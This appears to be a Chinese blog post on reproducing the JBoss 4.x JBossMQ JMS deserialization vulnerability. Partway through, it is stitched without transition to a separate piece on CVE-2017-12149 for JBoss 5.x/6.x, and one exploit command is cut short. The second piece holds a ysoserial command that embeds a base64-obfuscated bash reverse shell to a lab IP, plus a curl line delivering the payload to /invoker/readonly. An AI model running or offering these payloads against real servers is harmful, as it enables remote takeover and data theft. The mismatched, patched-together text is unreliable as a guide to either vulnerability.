JBoss 4.x JBossMQ JMS反序列化漏洞分析溯源

本文深入分析了JBoss4.x及之前版本中的JMSoverHTTPInvocationLayer反序列化漏洞,探讨其成因及利用方式。通过实例演示,展示了如何复现此漏洞并执行任意代码,包括利用exp进行攻击及在本地搭建环境测试。

墨者学院

WEB安全

JBoss 4.x JBossMQ JMS反序列化漏洞分析溯源

漏洞成因

Red Hat JBoss Application Server 是一款基于JaveEE 的开源应用服务器,JBoss AS 4.x 及之前的版本中,JBoss实现过程的JMS over HTTP Invocation Layer 的HTTPserverLSeverILServlet.java文件存在反序列化漏洞,远程攻击者可以借助特质的序列化数据利用该漏洞执行任意代码

序列化:在java中,java会将代码中的对象转换为字符串传输,也方便了保存在文件,数据库中。而反序列化就是他的逆过程,由字节流还原成对象,Java的ObjectOutputStream 类中的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法可是用于反序列化。而出现反序列化漏洞的原因就是ObjectInputStream在反序列化时,没有对生成的对象类型做限制。

漏洞复现

在这里插入图片描述

可以明显看到这是JBoss的框架

接下来下载exp 利用exp

使用方式:

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
java -cp .:commons-collections-3.2.1.jar

### 漏洞概述 CVE-2017-12149 是一个影响 JBoss Application Server (AS) 5.x 和 6.x 版本的严重安全漏洞。此漏洞源于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器在处理客户端发送的数据时,未能进行必要的安全检查,直接对数据流进行了反序列化操作。这种不当的处理方式使得攻击者能够通过发送特制的恶意序列化数据来触发远程命令执行,进而可能完全控制受影响的服务器[^1]。 ### 安全危害 #### 远程代码执行 最直接且严重的后果是,攻击者可以利用此漏洞在目标系统上执行任意代码。这意味着攻击者可以安装恶意软件、窃取敏感信息、修改或删除数据等,对企业的信息安全构成极大威胁[^2]。 #### 内网渗透 由于 JBoss 通常部署在企业内部网络中,此漏洞的存在不仅允许攻击者从外部网络入侵,还可能成为攻击者进一步渗透内网的跳板。一旦攻击者获得了内网中某一台服务器的控制权,他们可以通过这台服务器作为跳板,尝试攻击其他内部系统[^3]。 #### 数据泄露 攻击者利用此漏洞成功入侵后,可以访问存储在服务器上的所有数据,包括但不限于客户信息、交易记录、商业秘密等。这些数据的泄露不仅会对企业造成经济损失,还可能损害企业的声誉和客户信任[^4]。 ### 影响范围 此漏洞影响 JBoss AS 5.x 和 6.x 版本,这两个版本曾广泛应用于各种规模的企业中,尤其是在金融、电信等行业。因此,该漏洞的影响范围非常广泛,任何未及时更新或采取其他缓解措施的组织都可能受到攻击[^5]。 ### 缓解措施 为了减轻此漏洞带来的风险,建议采取以下措施: - **升级软件**:最直接有效的解决方法是将 JBoss 升级至不受此漏洞影响的新版本。 - **限制访问**:对于无法立即升级的系统,可以通过配置防火墙规则,限制对 HttpInvoker 组件的访问,仅允许信任的IP地址访问。 - **监控与审计**:加强系统的监控和日志审计,以便及时发现并响应任何可疑活动。 ### 示例代码 以下是一个使用 `ysoserial` 工具生成恶意序列化数据的示例命令,该数据可用于测试环境中的漏洞复现: ```bash java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i}" > exp.ser ``` 随后,攻击者可以通过 `curl` 命令将生成的 `exp.ser` 文件发送到目标服务器上的 `/invoker/readonly` 路径: ```bash curl http://192.168.159.129:8080/invoker/readonly --data-binary @exp.ser ``` 以上命令假设攻击者的机器正在监听指定的端口,以接收反弹的 shell 连接。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值